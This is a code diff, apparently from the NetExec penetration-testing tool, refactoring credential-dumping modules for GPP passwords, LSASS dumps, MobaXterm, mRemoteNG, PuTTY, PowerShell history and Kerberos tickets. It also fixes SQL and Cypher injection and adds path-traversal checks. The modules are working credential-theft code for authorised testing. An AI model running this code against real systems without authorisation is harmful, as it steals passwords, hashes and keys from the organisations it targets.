+ sections.append("./SharedPrinter/Properties") + + elif "Drives.xml" in path: + sections.append("./Drive/Properties") + + for section in sections: + xml_section = xml.findall(section) + for attr in xml_section: + props = attr.attrib + + if "cpassword" in props: + for user_tag in [ + "userName", + "accountName", + "runAs", + "username", + ]: + if user_tag in props: + username = props[user_tag] + + password = self.decrypt_cpassword(props["cpassword"]) + + context.log.success(f"Found credentials in {path}") + context.log.highlight(f"Password: {password}") + for k, v in props.items(): + if k != "cpassword": + context.log.highlight(f"{k}: {v}") + + hostid = context.db.get_hosts(connection.host)[0][0] + context.db.add_credential( + "plaintext", + "", + username, + password, + pillaged_from=hostid, + ) def decrypt_cpassword(self, cpassword): # Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385 diff --git a/nxc/modules/gpp_privileges.py b/nxc/modules/gpp_privileges.py index 46c021baf2..2d198f6900 100644 --- a/nxc/modules/gpp_privileges.py +++ b/nxc/modules/gpp_privileges.py @@ -1,8 +1,9 @@ -import ssl -import ldap3 import re from io import BytesIO +from impacket.ldap import ldap as ldap_impacket +from impacket.ldap import ldapasn1 as ldapasn1_impacket from nxc.helpers.misc import CATEGORY +from nxc.parsers.ldap_results import parse_result_attributes class NXCModule: @@ -98,24 +99,25 @@ def options(self, context, module_options): self.no_ldap = module_options.get("NO_LDAP", False) def on_login(self, context, connection): + self.context = context try: connection.conn.listPath("SYSVOL", "*") except Exception as e: - context.log.fail(f"Failed to list shares: {e}") + self.context.log.fail(f"Failed to list shares: {e}") return - context.log.display("Searching for GptTmpl.inf files") + self.context.log.display("Searching for GptTmpl.inf files") paths = connection.spider("SYSVOL", pattern=["GptTmpl.inf"]) if not paths: - context.log.warning("No GptTmpl.inf files found in SYSVOL.") + self.context.log.warning("No GptTmpl.inf files found in SYSVOL.") return for path in paths: if "6AC1786C-016F-11D2-945F-00C04fB984F9" in path: # Default Domain Policy - context.log.success(f"Found Default Domain Policy GptTmpl.inf: {path}") + self.context.log.success(f"Found Default Domain Policy GptTmpl.inf: {path}") else: - context.log.info(f"Found GptTmpl.inf: {path}") + self.context.log.info(f"Found GptTmpl.inf: {path}") buf = BytesIO() connection.conn.getFile("SYSVOL", path, buf.write) @@ -123,22 +125,32 @@ def on_login(self, context, connection): try: content = buf.getvalue().decode("utf-16le") except UnicodeDecodeError as e: - context.log.error(f"Failed to decode {path} as UTF-16LE: {e}") + self.context.log.error(f"Failed to decode {path} as UTF-16LE: {e}") continue privileges = self.extract_privileges(content) if privileges: ldap_connection = None + base_dn = None if not self.no_ldap: - ldap_connection = self.initialize_ldap_connection(context, connection) + ldap_connection = self.initialize_ldap_connection(connection) + base_dn = self.get_basedn(ldap_connection) - context.log.success(f"Privileges extracted from {path}:") + self.context.log.success(f"Privileges extracted from {path}:") for privilege, sids in privileges.items(): - resolved_sids = [self.resolve_sid(context, sid, ldap_connection) for sid in sids] - context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}") + resolved_sids = [self.resolve_sid(sid, ldap_connection, base_dn) for sid in sids] + self.context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}") if ldap_connection: - ldap_connection.unbind() + ldap_connection.close() + + def get_basedn(self, ldap_connection): + root = ldap_connection.search( + scope=ldapasn1_impacket.Scope("baseObject"), + attributes=["defaultNamingContext"], + sizeLimit=0, + ) + return parse_result_attributes(root)[0]["defaultNamingContext"] def extract_privileges(self, content): """Parses the content of GptTmpl.inf to extract privilege rights.""" @@ -159,101 +171,64 @@ def extract_privileges(self, content): return privileges - def initialize_ldap_connection(self, context, connection): + def initialize_ldap_connection(self, connection): """ - Initializes an LDAP connection using LDAP3 with LDAPS first, then falls back to plaintext LDAP if LDAPS fails. + Initializes an LDAP connection using impacket with LDAPS first, then falls back to plaintext LDAP if LDAPS fails. Attempts to retrieve the base DN from the Root DSE or derive it from the domain name. """ - tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0") - base_dn = None - - try: - ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, tls=tls, get_info=ldap3.ALL) - ldap_connection = ldap3.Connection( - ldap_server, - user=f"{connection.domain}\\{connection.username}", - password=connection.password, - authentication=ldap3.NTLM, - raise_exceptions=True, - ) - ldap_connection.bind() - context.log.success("Connected to LDAP over SSL (LDAPS).") - - try: - base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0] - except Exception as e: - context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}") - - if not base_dn: - domain_parts = connection.domain.split(".") - base_dn = ",".join([f"dc={part}" for part in domain_parts]) - context.log.info(f"Derived base DN: {base_dn}") - - ldap_connection.base_dn = base_dn - return ldap_connection - - except Exception as ldaps_error: - context.log.warning(f"LDAPS connection failed: {ldaps_error}") - context.log.info("Falling back to plain LDAP...") - + ldap_connection = None try: - ldap_server = ldap3.Server(connection.host, use_ssl=False, port=389, get_info=ldap3.ALL) - ldap_connection = ldap3.Connection( - ldap_server, - user=f"{connection.domain}\\{connection.username}", - password=connection.password, - authentication=ldap3.NTLM, - raise_exceptions=True, - ) - ldap_connection.bind() - context.log.info("Connected to LDAP successfully (plaintext).") - - try: - base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0] - except Exception as e: - context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}") - - if not base_dn: - domain_parts = connection.domain.split(".") - base_dn = ",".join([f"dc={part}" for part in domain_parts]) - context.log.info(f"Derived base DN: {base_dn}") - - ldap_connection.base_dn = base_dn - return ldap_connection - - except Exception as ldap_error: - context.log.error(f"Failed to connect to LDAP: {ldap_error}") - - return None + ldap_connection = ldap_impacket.LDAPConnection(url=f"ldap://{connection.remoteName}", dstIp=connection.host) + if connection.kerberos: + ldap_connection.kerberosLogin( + connection.username, + connection.password or "", + connection.domain, + connection.lmhash, + connection.nthash, + connection.aesKey or "", + kdcHost=connection.kdcHost, + useCache=bool(connection.use_kcache), + ) + else: + ldap_connection.login( + user=connection.username, + password=connection.password or "", + domain=connection.domain, + lmhash=connection.lmhash, + nthash=connection.nthash, + ) + self.context.log.success("Connected to LDAP.") + except Exception as e: + self.context.log.fail(f"LDAP connection failed: {e}") + return None + return ldap_connection - def resolve_sid(self, context, sid, ldap_connection): + def resolve_sid(self, sid, ldap_connection, base_dn): """Resolves a SID to a human-readable name using well-known mappings or LDAP queries.""" if sid in self.WELL_KNOWN_SIDS: return self.WELL_KNOWN_SIDS[sid] - if ldap_connection and ldap_connection.bound: + if ldap_connection: try: - base_dn = getattr(ldap_connection, "base_dn", None) - if not base_dn: - context.log.warning(f"No base DN found for LDAP connection. Cannot resolve SID {sid}.") - return sid - - search_filter = f"(objectSid={ldap3.utils.conv.escape_filter_chars(sid)})" - ldap_connection.search( - search_base=base_dn, - search_filter=search_filter, + resp = ldap_connection.search( + searchBase=base_dn, + searchFilter=f"(objectSid={sid})", attributes=["sAMAccountName"], ) - - if ldap_connection.entries: - entry = ldap_connection.entries[0] - return f"{entry['sAMAccountName']}" + parsed_result = parse_result_attributes(resp) + if parsed_result and "sAMAccountName" in parsed_result[0]: + return f"{parsed_result[0]['sAMAccountName']}" else: - context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.") + self.context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.") + except ldap_impacket.LDAPSearchError: + self.context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.") + except ldap_impacket.LDAPFilterSyntaxError: + self.context.log.warning(f"Invalid LDAP filter syntax for SID {sid}. Returning raw SID.") except Exception as e: - context.log.error(f"Failed to resolve SID {sid} via LDAP: {e}") + self.context.log.error(f"Failed while resolving SID {sid} via LDAP: {e}") else: - context.log.warning(f"LDAP connection not established or unbound. Returning raw SID: {sid}") + self.context.log.warning(f"LDAP connection not established. Returning raw SID: {sid}") return sid diff --git a/nxc/modules/handlekatz.py b/nxc/modules/handlekatz.py index 46aa38cda5..5455c7b84e 100644 --- a/nxc/modules/handlekatz.py +++ b/nxc/modules/handlekatz.py @@ -126,20 +126,17 @@ def on_admin_login(self, context, connection): except Exception as e: context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on share {self.share}: {e}") - h_in = open(self.dir_result + machine_name, "rb") # noqa: SIM115 - h_out = open(self.dir_result + machine_name + ".decode", "wb") # noqa: SIM115 + with open(self.dir_result + machine_name, "rb") as h_in, open(self.dir_result + machine_name + ".decode", "wb") as h_out: + bytes_in = bytearray(h_in.read()) - bytes_in = bytearray(h_in.read()) - bytes_in_len = len(bytes_in) + context.log.display(f"Deobfuscating, this might take a while (size: {len(bytes_in)} bytes)") - context.log.display(f"Deobfuscating, this might take a while (size: {bytes_in_len} bytes)") + chunks = [bytes_in[i: i + 1000000] for i in range(0, len(bytes_in), 1000000)] + for chunk in chunks: + for i in range(len(chunk)): + chunk[i] ^= 0x41 - chunks = [bytes_in[i: i + 1000000] for i in range(0, bytes_in_len, 1000000)] - for chunk in chunks: - for i in range(len(chunk)): - chunk[i] ^= 0x41 - - h_out.write(bytes(chunk)) + h_out.write(bytes(chunk)) with open(self.dir_result + machine_name + ".decode", "rb") as dump: try: diff --git a/nxc/modules/hash_spider.py b/nxc/modules/hash_spider.py index dc50bd92e3..4800babb4c 100644 --- a/nxc/modules/hash_spider.py +++ b/nxc/modules/hash_spider.py @@ -79,26 +79,26 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d if result["password"] is not None: context.log.highlight(f"Found a cleartext password for: {username}:{password}. Adding to the DB and marking user as owned in BH.") cursor.execute( - "UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'", - [password], + "UPDATE admin_users SET password = ? WHERE upper(substr(username, 1, ?)) = ?", + [password, len(username), username.upper()], ) username = f"{username.upper()}@{domain.upper()}" dbconnection.commit() session = driver.session() - session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned') + session.run("MATCH (u) WHERE u.name = $username SET u.owned=True RETURN u,u.name,u.owned", username=username) if nthash == "aad3b435b51404eeaad3b435b51404ee" or nthash == "31d6cfe0d16ae931b73c59d7e0c089c0": context.log.fail(f"Hash for {username} is expired.") elif username not in found_users and nthash is not None: context.log.highlight(f"Found hashes for: '{username}:{nthash}'. Adding them to the DB and marking user as owned in BH.") found_users.append(username) cursor.execute( - "UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'", - [nthash], + "UPDATE admin_users SET hash = ? WHERE upper(substr(username, 1, ?)) = ?", + [nthash, len(username), username.upper()], ) dbconnection.commit() username = f"{username.upper()}@{domain.upper()}" session = driver.session() - session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned') + session.run("MATCH (u) WHERE u.name = $username SET u.owned=True RETURN u,u.name,u.owned", username=username) path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p") paths = list(path_to_da.data()) @@ -118,12 +118,12 @@ def initial_run(connection, cursor): password = getattr(connection, "password", "") nthash = getattr(connection, "nthash", "") cursor.execute( - "UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'", - [password], + "UPDATE admin_users SET password = ? WHERE upper(substr(username, 1, ?)) = ?", + [password, len(username), username.upper()], ) cursor.execute( - "UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'", - [nthash], + "UPDATE admin_users SET hash = ? WHERE upper(substr(username, 1, ?)) = ?", + [nthash, len(username), username.upper()], ) @@ -188,7 +188,7 @@ def run_lsassy(self, context, connection, cursor): # copied and pasted from lsa ) if session.smb_session is None: context.log.fail("Couldn't connect to remote host. Password likely expired/changed. Removing from DB.") - cursor.execute(f"UPDATE admin_users SET hash = NULL WHERE username LIKE '{username}'") + cursor.execute("UPDATE admin_users SET hash = NULL WHERE username = ? COLLATE NOCASE", [f"{username}@{domain_name}"]) return False dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method) if dumper is None: @@ -236,7 +236,7 @@ def spider_pcs(self, context, connection, cursor, dbconnection, driver): for user in compromised_users: for pc in admin_access: if user[0] in pc[1]: - cursor.execute(f"SELECT * FROM pc_and_admins WHERE pc_name = '{pc[0]}' AND dumped NOT LIKE 'TRUE'") + cursor.execute("SELECT * FROM pc_and_admins WHERE pc_name = ? AND dumped NOT LIKE 'TRUE'", [pc[0]]) more_to_dump = cursor.fetchall() if len(more_to_dump) > 0: context.log.display(f"User {user[0]} has more access to {pc[0]}. Attempting to dump.") @@ -247,7 +247,7 @@ def spider_pcs(self, context, connection, cursor, dbconnection, driver): connection.nthash = user[1] try: self.run_lsassy(context, connection, cursor) - cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'") + cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name = ?", [pc[0]]) process_creds( context, diff --git a/nxc/modules/impersonate.py b/nxc/modules/impersonate.py index 0bfc0bc6fe..1f6ac4fda1 100644 --- a/nxc/modules/impersonate.py +++ b/nxc/modules/impersonate.py @@ -101,7 +101,7 @@ def on_admin_login(self, context, connection): context.log.fail("Invalid token ID submitted") except Exception as e: - context.log.fail(f"Error runing command: {e}") + context.log.fail(f"Error running command: {e}") finally: try: connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.impersonate}") diff --git a/nxc/modules/mobaxterm.py b/nxc/modules/mobaxterm.py index dc8c923a89..c0fc21c6c8 100644 --- a/nxc/modules/mobaxterm.py +++ b/nxc/modules/mobaxterm.py @@ -1,62 +1,34 @@ from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword -from dploot.lib.target import Target -from nxc.helpers.logger import highlight from nxc.helpers.misc import CATEGORY -from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection class NXCModule: name = "mobaxterm" description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export" - supported_protocols = ["smb"] + supported_protocols = ["smb", "wmi", "winrm", "mssql"] category = CATEGORY.CREDENTIAL_DUMPING def options(self, context, module_options): """No options available""" def on_admin_login(self, context, connection): - username = connection.username - password = getattr(connection, "password", "") - nthash = getattr(connection, "nthash", "") - - self.pvkbytes = get_domain_backup_key(connection) - - target = Target.create( - domain=connection.domain, - username=username, - password=password, - target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, - lmhash=getattr(connection, "lmhash", ""), - nthash=nthash, - do_kerberos=connection.kerberos, - aesKey=connection.aesKey, - no_pass=True, - use_kcache=getattr(connection, "use_kcache", False), - ) - - conn = upgrade_to_dploot_connection(connection=connection.conn, target=target) - if conn is None: - context.log.debug("Could not upgrade connection") - return - - self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False) + self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False) if len(self.masterkeys) == 0: context.log.fail("No masterkeys looted") return - context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets") - def mobaxterm_callback(credential): if isinstance(credential, MobaXtermCredential): - log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1")) + log_text = f"{credential.name} - {credential.username}:{credential.password.decode('latin-1')}" elif isinstance(credential, MobaXtermPassword): - log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1")) - context.log.highlight(f"[{credential.winuser}] {log_text}") + log_text = f"{credential.username}:{credential.password.decode('latin-1')}" + connection.dpapi_triage.log_secret(f"[{credential.winuser}] {log_text}", logger=context.log) try: - triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys) + context.log.success("Looting MobaXterm secrets") + triage = MobaXtermTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_secret_callback=mobaxterm_callback) triage.triage_mobaxterm() except Exception as e: context.log.debug(f"Could not loot MobaXterm secrets: {e}") diff --git a/nxc/modules/mremoteng.py b/nxc/modules/mremoteng.py index c26f76f24e..474c284e49 100644 --- a/nxc/modules/mremoteng.py +++ b/nxc/modules/mremoteng.py @@ -1,12 +1,10 @@ import ntpath -from dploot.lib.target import Target from Cryptodome.Cipher import AES from lxml import objectify from base64 import b64decode import hashlib from dataclasses import dataclass from nxc.helpers.misc import CATEGORY -from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection @dataclass @@ -25,7 +23,7 @@ class NXCModule: name = "mremoteng" description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) " - supported_protocols = ["smb"] + supported_protocols = ["smb", "wmi", "winrm", "mssql"] category = CATEGORY.CREDENTIAL_DUMPING def __init__(self, context=None, module_options=None): @@ -42,6 +40,7 @@ def __init__(self, context=None, module_options=None): self.mRemoteNg_path = [ "Users\\{username}\\AppData\\Local\\mRemoteNG", "Users\\{username}\\AppData\\Roaming\\mRemoteNG", + "Users\\{username}\\AppData\\Roaming\\mRemoteNG Connection Manager", ] self.custom_user_path = [ @@ -68,70 +67,31 @@ def options(self, context, module_options): self.custom_path = module_options["CUSTOM_PATH"] def on_admin_login(self, context, connection): - # 1. Evole conn into dploot conn self.context = context self.connection = connection - self.share = connection.args.share - - host = f"{connection.hostname}.{connection.domain}" - domain = connection.domain - username = connection.username - kerberos = connection.kerberos - aesKey = connection.aesKey - use_kcache = getattr(connection, "use_kcache", False) - password = getattr(connection, "password", "") - lmhash = getattr(connection, "lmhash", "") - nthash = getattr(connection, "nthash", "") - - target = Target.create( - domain=domain, - username=username, - password=password, - target=host, - lmhash=lmhash, - nthash=nthash, - do_kerberos=kerberos, - aesKey=aesKey, - use_kcache=use_kcache, - ) - - dploot_conn = upgrade_to_dploot_connection(connection=connection.conn, target=target) - if dploot_conn is None: - context.log.debug("Could not upgrade connection") - return + self.share = connection.args.share if hasattr(connection.args, "share") else "C$" + self.dploot_conn = connection.dpapi_triage.conn - # 2. Dump users list - users = self.get_users(dploot_conn) + users = self.dploot_conn.list_users() - # 3. Search for mRemoteNG files + # Search for mRemoteNG files for user in users: for path in self.mRemoteNg_path: user_path = ntpath.join(path.format(username=user), "confCons.xml") - content = dploot_conn.readFile(self.share, user_path) + content = self.dploot_conn.read_file(share=self.share, path=user_path) if content is None: continue self.context.log.info(f"Found confCons.xml file: {user_path}") self.handle_confCons_file(content) for path in self.custom_user_path: user_path = path.format(username=user) - self.dig_confCons_in_files(conn=dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max) + self.dig_confCons_in_files(conn=self.dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max) if self.custom_path is not None: - content = dploot_conn.readFile(self.share, self.custom_path) + content = self.dploot_conn.read_file(share=self.share, path=self.custom_path) if content is not None: self.context.log.info(f"Found confCons.xml file: {self.custom_path}") self.handle_confCons_file(content) - def get_users(self, conn): - users = [] - - users_dir_path = "Users\\*" - directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path)) - - for d in directories: - if d.get_longname() not in self.false_positive and d.is_directory() > 0: - users.append(d.get_longname()) # noqa: PERF401, ignoring for readability - return users - def handle_confCons_file(self, file_content): main = objectify.fromstring(file_content) encryption_attributes = MRemoteNgEncryptionAttributes( @@ -152,7 +112,7 @@ def handle_confCons_file(self, file_content): protocol = node_attribute["Protocol"] port = node_attribute["Port"] host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " " - self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}") + self.connection.dpapi_triage.log_secret(f"{name}:{host} - {domain}\\{username}:{password}", self.context.log) def parse_xml_nodes(self, main): nodes = [] @@ -166,7 +126,7 @@ def parse_xml_nodes(self, main): return nodes def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10): - directory_list = conn.remote_list_dir(self.share, directory_path) + directory_list = conn.list_dir(share=self.share, path=directory_path) if directory_list is not None: for item in directory_list: if item.get_longname() not in self.false_positive: @@ -178,7 +138,7 @@ def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_m # It's a file, download it to the output share if the mask is ok if "confCons.xml" in item.get_longname(): self.context.log.info(f"Found confCons.xml file: {new_path}") - content = conn.readFile(self.context.share, new_path) + content = conn.read_file(share=self.share, path=new_path) self.handle_confCons_file(content) def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes): diff --git a/nxc/modules/mssql_dumper.py b/nxc/modules/mssql_dumper.py index f52473ae6e..61dbc25d47 100644 --- a/nxc/modules/mssql_dumper.py +++ b/nxc/modules/mssql_dumper.py @@ -4,6 +4,7 @@ from pathlib import Path import re from nxc.helpers.misc import CATEGORY +from nxc.helpers.path import sanitize_path_component from nxc.paths import NXC_PATH @@ -139,8 +140,8 @@ def on_login(self, context, connection): context.log.fail(f"Regex scan failed for {db_name}.{table_name}: {e}") if self.save and all_results: - filename = f"{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.json" - file_path = Path(f"{NXC_PATH}/modules/mssql-dumper/{filename}").resolve() + filename = sanitize_path_component(f"{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.json") + file_path = (Path(NXC_PATH) / "modules" / "mssql-dumper" / filename).resolve() os.makedirs(file_path.parent, exist_ok=True) with open(file_path, "w") as f: json.dump(all_results, f, indent=2) diff --git a/nxc/modules/nanodump.py b/nxc/modules/nanodump.py index 3e79889ce7..eb5da55a54 100644 --- a/nxc/modules/nanodump.py +++ b/nxc/modules/nanodump.py @@ -10,6 +10,7 @@ from datetime import datetime from nxc.helpers.bloodhound import add_user_bh from nxc.helpers.misc import CATEGORY +from nxc.helpers.path import sanitize_path_component from nxc.protocols.mssql.mssqlexec import MSSQLEXEC @@ -158,7 +159,7 @@ def on_admin_login(self, context, connection): return else: self.context.log.display(f"Copying {nano_log_name} to host") - filename = os.path.join(self.dir_result, f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log") + filename = os.path.join(self.dir_result, sanitize_path_component(f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log")) if self.context.protocol == "smb": with open(filename, "wb+") as dump_file: try: diff --git a/nxc/modules/notepad++.py b/nxc/modules/notepad++.py index fd2eb7b259..85310ab8ca 100644 --- a/nxc/modules/notepad++.py +++ b/nxc/modules/notepad++.py @@ -1,7 +1,9 @@ from io import BytesIO from os import makedirs -from os.path import join, abspath +from os.path import join +from pathlib import Path from nxc.helpers.misc import CATEGORY +from nxc.helpers.path import sanitize_path_component from nxc.paths import NXC_PATH @@ -36,9 +38,12 @@ def on_admin_login(self, context, connection): context.log.highlight(f"C:\\{file_path}") for line in file_content.splitlines(): context.log.highlight(f"\t{line}") - filename = f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt" + filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt") export_path = join(NXC_PATH, "modules", "notepad++") - path = abspath(join(export_path, filename)) + path = Path(export_path, filename).resolve() + if Path(export_path).resolve() not in path.parents: + context.log.fail(f"Path traversal detected in {filename!r}, skipping") + continue makedirs(export_path, exist_ok=True) try: with open(path, "w+") as file: diff --git a/nxc/modules/notepad.py b/nxc/modules/notepad.py index a16c7d2fd2..e6e1d19c3c 100644 --- a/nxc/modules/notepad.py +++ b/nxc/modules/notepad.py @@ -1,9 +1,11 @@ from io import BytesIO from os import makedirs -from os.path import join, abspath +from os.path import join +from pathlib import Path import re import time from nxc.helpers.misc import CATEGORY +from nxc.helpers.path import sanitize_path_component from nxc.paths import NXC_PATH from impacket.smbconnection import SessionError @@ -161,9 +163,12 @@ def on_admin_login(self, context, connection): content_lines.append(string) # Store the string value only # Save to file - filename = f"{connection.host}_{directory.get_longname()}_notepad_tabstate_{found}.txt" + filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_notepad_tabstate_{found}.txt") export_path = join(NXC_PATH, "modules", "notepad") - path = abspath(join(export_path, filename)) + path = Path(export_path, filename).resolve() + if Path(export_path).resolve() not in path.parents: + context.log.fail(f"Path traversal detected in {filename!r}, skipping") + continue makedirs(export_path, exist_ok=True) with open(path, "w+") as output_file: diff --git a/nxc/modules/ntds-dump-raw.py b/nxc/modules/ntds-dump-raw.py index 82211796bf..a209b94445 100644 --- a/nxc/modules/ntds-dump-raw.py +++ b/nxc/modules/ntds-dump-raw.py @@ -519,10 +519,10 @@ def analyze_MFT_header(self, curr_sector): parsed_header = self.parse_MFT_header(curr_sector[Offset_to_the_first_attribute:]) if "$FILE_NAME" in parsed_header: - filename_lenght = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58: 0x58 + 1]) + filename_length = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58: 0x58 + 1]) curr_MFA_sector.parent_record_number = self.bytes_to_int_unsigned(parsed_header["$FILE_NAME"][0x18: 0x18 + 3] + b"\x00") - curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2: 0x58 + 2 + (filename_lenght * 2)].decode("utf-16") + curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2: 0x58 + 2 + (filename_length * 2)].decode("utf-16") if "$DATA" in parsed_header: dataRun_offset = self.bytes_to_int_signed(parsed_header["$DATA"][0x20: 0x20 + 1]) diff --git a/nxc/modules/obsolete.py b/nxc/modules/obsolete.py index 27525cc25c..e9602bc509 100644 --- a/nxc/modules/obsolete.py +++ b/nxc/modules/obsolete.py @@ -1,7 +1,9 @@ #!/usr/bin/env python3 from datetime import datetime, timedelta +from os.path import join from nxc.helpers.misc import CATEGORY +from nxc.helpers.path import sanitize_path_component from nxc.paths import NXC_PATH import socket @@ -71,7 +73,7 @@ def on_login(self, context, connection): if answers: obsolete_hosts_count = len(answers) - filename = f"{NXC_PATH}/logs/{connection.domain}.obsoletehosts.txt" + filename = join(NXC_PATH, "logs", sanitize_path_component(f"{connection.domain}.obsoletehosts.txt")) context.log.display(f"{obsolete_hosts_count} Obsolete hosts will be saved to {filename}") with open(filename, "w") as f: for dns_hostname, ip_address, os, pwd_last_set_readable in answers: diff --git a/nxc/modules/powershell_history.py b/nxc/modules/powershell_history.py index 1c77764d65..8148ed52e3 100644 --- a/nxc/modules/powershell_history.py +++ b/nxc/modules/powershell_history.py @@ -1,6 +1,8 @@ from os import makedirs -from os.path import join, abspath +from os.path import join +from pathlib import Path from nxc.helpers.misc import CATEGORY +from nxc.helpers.path import sanitize_path_component from nxc.paths import NXC_PATH from io import BytesIO @@ -46,9 +48,12 @@ def on_admin_login(self, context, connection): for line in file_content.splitlines(): context.log.highlight(f"\t{line}") if self.export: - filename = f"{connection.host}_{directory.get_longname()}_powershell_history.txt" + filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_powershell_history.txt") export_path = join(NXC_PATH, "modules", "powershell_history") - path = abspath(join(export_path, filename)) + path = Path(export_path, filename).resolve() + if Path(export_path).resolve() not in path.parents: + context.log.fail(f"Path traversal detected in {filename!r}, skipping") + continue makedirs(export_path, exist_ok=True) try: with open(path, "w+") as file: diff --git a/nxc/modules/pre2k.py b/nxc/modules/pre2k.py index 9e8087bd7e..55718c20c8 100644 --- a/nxc/modules/pre2k.py +++ b/nxc/modules/pre2k.py @@ -1,9 +1,11 @@ import os +from pathlib import Path from impacket.krb5.kerberosv5 import getKerberosTGT from impacket.krb5.ccache import CCache from impacket.krb5.types import Principal from impacket.krb5 import constants from nxc.helpers.misc import CATEGORY +from nxc.helpers.path import sanitize_path_component from nxc.parsers.ldap_results import parse_result_attributes from nxc.paths import NXC_PATH @@ -54,7 +56,7 @@ def on_login(self, context, connection): context.log.debug(f"Added computer: {computer['sAMAccountName']}") # Save computers to file - domain_dir = os.path.join(f"{NXC_PATH}/modules/pre2k", connection.domain) + domain_dir = os.path.join(NXC_PATH, "modules", "pre2k", sanitize_path_component(connection.domain)) output_file_pre2k = os.path.join(domain_dir, "precreated_computers.txt") output_file_non_pre2k = os.path.join(domain_dir, "non_precreated_computers.txt") @@ -137,7 +139,10 @@ def save_ticket(self, context, username, ticket, sessionKey, ccache_base_dir): try: ccache = CCache() ccache.fromTGT(ticket, sessionKey, sessionKey) - ccache_filename = os.path.join(ccache_base_dir, f"{username}.ccache") + ccache_filename = Path(ccache_base_dir, sanitize_path_component(f"{username}.ccache")).resolve() + if Path(ccache_base_dir).resolve() not in ccache_filename.parents: + context.log.fail(f"Path traversal detected in ticket filename for {username!r}, skipping") + return ccache.saveFile(ccache_filename) context.log.info(f"Saved ticket in {ccache_filename}") except Exception as e: diff --git a/nxc/modules/putty.py b/nxc/modules/putty.py index 4a9521d5c4..30490a22da 100644 --- a/nxc/modules/putty.py +++ b/nxc/modules/putty.py @@ -6,8 +6,10 @@ from impacket.dcerpc.v5 import rrp from impacket.examples.secretsdump import RemoteOperations from os import makedirs +from pathlib import Path from nxc.helpers.logger import highlight from nxc.helpers.misc import CATEGORY +from nxc.helpers.path import sanitize_path_component from nxc.paths import NXC_PATH import re @@ -160,7 +162,10 @@ def extract_session(self, sessions): makedirs(f"{NXC_PATH}/modules/PuTTY", exist_ok=True) share = session["private_key_path"].split(":")[0] + "$" file_path = session["private_key_path"].split(":")[1] - download_path = f"{NXC_PATH}/modules/PuTTY/putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec" + download_path = Path(NXC_PATH, "modules", "PuTTY", sanitize_path_component(f"putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec")).resolve() + if Path(NXC_PATH, "modules", "PuTTY").resolve() not in download_path.parents: + self.context.log.fail(f"Path traversal detected in PuTTY session {session['session_name']!r}, 